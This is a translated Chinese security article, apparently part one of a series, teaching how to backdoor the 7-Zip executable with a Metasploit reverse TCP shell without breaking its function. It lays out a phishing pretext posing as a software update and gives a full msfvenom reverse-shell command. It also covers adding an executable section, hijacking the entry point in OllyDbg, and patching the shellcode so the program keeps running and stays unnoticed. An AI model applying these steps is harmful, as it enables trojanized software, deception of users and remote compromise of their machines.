译者:eridanus96
预估稿费:200RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
传送门
1. 前言
在渗透的过程中,我们常常希望能在不增加可执行文件大小、不改变其原有功能的前提下,使用自己的Shellcode注入到指定的可执行文件中,同时最好让这一过程完全无法被检测到。
我们举一个具体的场景作为例子。在经过侦查后,我们得知,有许多员工都在使用某个软件。于是,我们就可以采取社工方式,向员工发送一封带有“XX软件更新下载”链接的钓鱼邮件,实际上点击链接后将会下载在该软件中加入后门的一个更新。一旦有员工受骗下载了这个所谓的“更新程序”,我们就能借助后门进入到目标网络之中。
本文将介绍如何在不增加大小、不改变功能的前提下,通过添加我们自己的反向TCP Shellcode来植入一个合法的x86 PE(Portable Executable)文件后门。
此外,我们还会介绍如何使后门PE完全不被发现的多种技术。其重点在于要使已经植入后门的文件完全无法被检测到。这里所说的“无法被检测”是针对于扫描时间静态分析而言的。除了上面这些,我们还会深入理解PE文件格式、x86汇编以及调试的要求。
我们采用相对简洁的语言,循序渐进地讲解了后门植入的方法,为了更好地理解,我建议各位读者应该按照文章顺序来阅读每一小节。
2. 我们自行加入的限制
我们的最终目标是在程序中植入一个后门,并让它完全无法被反病毒软件检测到,同时植入后门的程序功能应该保持完好,不能出现中断或异常。
为了防止被杀软检测到,我们将使用NoDistribute。有很多方法可以使我们植入的后门无法被检测到,例如:使用Crypter编码整个程序并在程序中加入一个解码存根(Decoding stub)、使用UPX压缩程序、使用Veil框架或者msfvenom进行编码等。然而,我们并不会使用上述的工具,我们希望能尽可能地保持后门植入的简洁和优雅,于是我们对自己做了如下的限制:
不使用Msfvenom编码方案、Crypter、Veil框架或者其他诸如此类的工具;
文件的大小应保持不变,不加入额外的节区或解码存根,也不对程序进行压缩;
植入后门之后,程序的原始功能保持不变,不出现中断或异常。
3. 总体思路
通过添加新的Section Header来注入Shellcode;
使用基于用户交互的Shellcode触发器及Codecave;
找到两处Codecave,用于插入定制的编码器和Shellcode触发器。
4. 如何选择用于植入后门的PE文件
除非是必须使用特定文件来植入后门,否则请牢记以下几点。下面的这些内容并不是强制要求,但强烈建议遵循这些内容,因为这将有助于降低杀毒软件的检测率,使我们植入的后门更加可靠。
第一,可执行文件的大小最好小于10MB。在渗透过程中,更小的文件有助于更轻松地发送给目标用户。你可以将其用ZIP压缩后使用电子邮件发送,也可以采用其他的社会工程学方式。此外,如果可执行文件较小,出现问题后的调试也会变得更加方便。
第二,在主流产品中植入后门,例如Utorrent、Putty、WinRAR、7zip等。我们不一定要利用常见的PE文件,但是请注意,相比于常见的PE文件来说,杀毒软件会更倾向于检测未知PE文件是否存在后门。但对于用户来说,他们对主流的产品有足够的信任,也就有更高概率会选择运行它们。
第三,选择不受安全功能(例如ASLR和DEP)保护的PE文件。如果选择了受保护的PE文件,无疑就大大增加了我们植入后门的难度,但最后的效果却是与在普通PE文件中植入完全一样。
第四,最好选择C/C++ Native文件。直接执行的代码会更方便我们的植入。
第五,最好选择一个具有网络通信功能的PE文件。由于该文件本身就会进行通信,因此一些反病毒软件就将它的所有通信视为合法行为,同时用户也会将恶意通信认为是该应用使用过程中的一个正常行为。
在本文中,我们以7zip压缩软件(GUI版本)为例,尝试在其中植入后门。首先,我们检查该文件的空间布局随机化(ASLR)是否已经启用。
4.1 空间布局随机化ASLR
ASLR是一种针对缓冲区溢出的安全保护技术,会对程序每次加载到内存中的地址进行随机化,从而增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置。
根据PowerShell脚本中显示的结果,我们发现其没有使用ASLR或DEP等安全机制:
正如我们所看到的,该文件没有太多的保护。接下来,让我们进一步查看该文件的其他信息。
4.2 静态分析
该PE文件为32位,大小约5MB,并且该文件是在本地直接编译执行的。上述信息告诉我们,这个文件就是一个非常合适的目标,我们接下来就开始植入后门。
5. 植入后门
在PE文件中植入后门有两种方法。在具体讲解这两种方法之前,我想和大家强调一下,我们为什么要在PE文件中植入后门。
简单来说,我们希望能有一个合法的Windows可执行文件(比如7zip)里面包含我们的Shellcode。所以,当7zip运行时,我们的Shellcode也随之一起执行,并且用户并不知情、反病毒软件也没有检测到任何恶意行为。该程序(7zip)也应该像以前一样正常工作。我们将要使用的Shellcode是一个Stageless的MSFvenom反向TCP Shell。
如果你不了解Staged和Stageless载荷的区别,可以参考:
https://www.offensive-security.com/metasploit-unleashed/payload-types/
我们介绍的两种方法,其总体过程和目标都是相同的,但在具体实现上是有不同的方法。整个过程如下:
1. 在内存中找到合适的位置,来植入我们的Shell代码。具体可以通过借助Codecave和创建新的Section Header这两种方式,我们在后文中都会进行演示。
2. 在程序开始执行时,从栈中复制操作码。
3. 用我们自己的操作码来替代这些指令,将应用程序的执行流劫持到在内存中我们所需要的位置。
4. 将Shellcode添加到内存中该位置,在这个例子中就是Stageless TCP反向连接Shell。
5. 设置寄存器,返回第二步中复制的栈,以允许程序进行正常的执行流。
6. 添加新的Section Header方法
此方法的大体思路是:先在PE文件中创建一个新的Section Header,随后在新创建的Section中注入我们的Shellcode,最后再将该部分的执行流指向它。
我们可以通过LordPE等工具,来创建新的Section Header:
打开LordPE,转到“Section Header”,并在最下面添加我们的Section Header(这里是.hello)。
将VirtualSize和RawSize增加0x1000字节,也就是4096字节。
确保我们的Section Header是可执行的。由于我们要把Shellcode放在这里,因此必须确保它是可执行、可读、可写的。
保存该文件。
现在如果我们执行该文件,是不会正常运行的。因为我们已经添加了一个1000h字节的新Section,但其Section Header是空的。
由于现在,该文件已经包含了1000h字节的Section Header,但该Section是空的。为了使文件能正常工作,我们就必须在文件的末尾添加1000h字节。我们可以使用任意值来填入,在这里我们使用了null值(00)。借助任何16进制编辑器,都可以在文件的末尾添加1000h字节,如下所示:
至此,我们已经在文件末尾添加了null值,并将修改后的文件重命名为7zFMAddedSection.exe。在进行下一步之前,我们必须确保修改后的7zFMAddedSection.exe文件是能够正常工作的,同时也要保证新的Section具有足够的权限。我们可以在Ollydbg中,通过查看“Memory Section”和“PE headers”来进行检查。
6.1劫持执行流
我们可以看到,新的Section .hello已经具有了足够的权限。接下来要做的就是将程序的执行流劫持到我们新添加的.hello Section处。当该程序运行时,它应该指向.hello对应的代码部分,也就是我们放置Shellcode的地方。在这里,请记下前五个操作码,我们在恢复执行流时还需要再次用到。
在Ollydbg中打开后,复制.hello Section的起始地址0047E000,并将位于004538D8地址的第一个操作码替换成JMP到0047E000。
随后我们保存该文件,其具体操作为:右键点击 -> Copy to executable(复制到可执行文件) -> all modifications(所有修改) -> Save file(保存文件)。我们在这里将文件名另存为7zFMAddedSectionHijacked.exe。
至此,我们成功添加了一个新的Section Header,并劫持了执行流。接下来,在Ollydbg中打开7zFMAddedSectionHijacked.exe文件。我们希望执行流重定向到我们新添加的.hello Section,其中包含的都是null值。
现在我们就有了一个很长的空Section,后面要做的便是在该Section中添加我们的Shellcode,以便在执行文件时能够触发它。
6.2 添加Shellcode
如之前所述,我们将使用Metasploit的stageless Windows/shell_reverse_tcp Shellcode。在这里,我们之所以不使用msfvenom提供的任何编码方案,是因为其中的大多数都已经被反病毒软件标记。为了添加Shellcode,首先我们要将寄存器放到栈上,并使用PUSHAD和PUSHHD操作来存储它们的状态。
在Shellcode结束时,我们弹出寄存器,并通过粘贴此前复制的程序指令的方式来恢复执行流。这样就可以确保7zip的正常功能不受影响。
下面是指令的顺序:
PUSHAD
PUSHFD
Shellcode....
POPAD
POPFD
Restore Execution Flow...
我们在mfsvenom中,使用以下参数,生成Windows Stageless反向Shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.116.128 LPORT=8080 -a x86 --platform windows -f hex
我们先复制Shellcode,随后在Ollydbg中粘贴的操作是:右键点击 > binary > binary paste,这样就可以得到相应的汇编代码。
6.3 修改Shellcode
现在,我们已经将反向TCP的Shellcode加入到.hello Section之中,但还要对我们的Shellcode进行一些修改:
-
在Shellcode的末尾,我们可以看到一个CALL EBP的操作,它会在Shellcode执行结束后终止程序的运行。但恰恰相反,我们希望程序在Shellcode执行后还能正常运行,所以需要将操作码CALL EBP改为NOP(No Operation,无操作)。
-
另一处需要做改动的地方是由于我们的Shellcode中存在一个WaitForSignleObject。WaitForSignleObject函数中的一个参数以毫秒作为单位,会在开始其它线程前等待该参数所定义的时间。如果WaitForSignleObject函数的参数为-1,则代表在其他线程启动之前,将等待无限长的时间。这就意味着,当我们执行该程序时,会产生一个反向Shell,但在关闭我们的反向Shell之前,7zip的正常功能会一直停止。关于如何查找和修复WaitForSignleObject,可以参考:https://simonuvarov.com/msfvenom-reverse-tcp-waitforsingleobject/ 。
-
在这里,我们只需要在NOP之前,将DEC INC操作码的值修改为-1,就可以实现上述内容。
-
还有,我们需要使用POPFD和POPAD来弹出寄存器的值,以供后面恢复时使用。
-
在POPFD和POPAD之后,我们需要添加5个早先在劫持执行流时复制的指令,以确保在执行完Shellcode后还能执行7zip的正常功能。
-
我们将上述改动另存为7zFMAddedSectionHijackedShelled.exe。
6.4 监听Shell
在Kali Box上设置一个监听器,随后执行7zFMAddedSectionHijackedShelled.exe。最终我们运行的文件就是一个近乎完美的成品,既完整保留了原有功能,同时也得到了想要的Shell。
让我们来看看检测结果如何。
从检测结果来看,并不是很好。其主要原因在于我们使用的是一个已知的Metasploit Shellcode,并且没有经过任何编码。如果需要,我们可以对这一点再进行改进。
6.5 此方法的优点
此方法的优点在于,我们可以创建较大的Section Header,大空间的好处就在于不用担心Shellcode占用的空间,就算是编码若干次后,也能放心地注入。这一点就可以帮助绕过反病毒检测。
6.6 此方法的缺点
添加新的Section Header并赋予其可执行权限可能会触发防病毒告警。
此外,这种方法还会增加原始文件的大小,杀毒软件或者目标主机的用户有可能会通过文件大小的不同而发现异常。
反病毒软件的检测率相对较高。
在这里,我们要请大家特别留意创建Section Header方式的缺点。考虑到这些缺点,我们当前的这一方法距离“完全无法检测”的目标,还差得很远。
那么,在下篇中,我们将研究两种其他的方法,以帮助我们提升可用性,并有效降低后门的被检测概率,敬请阅读。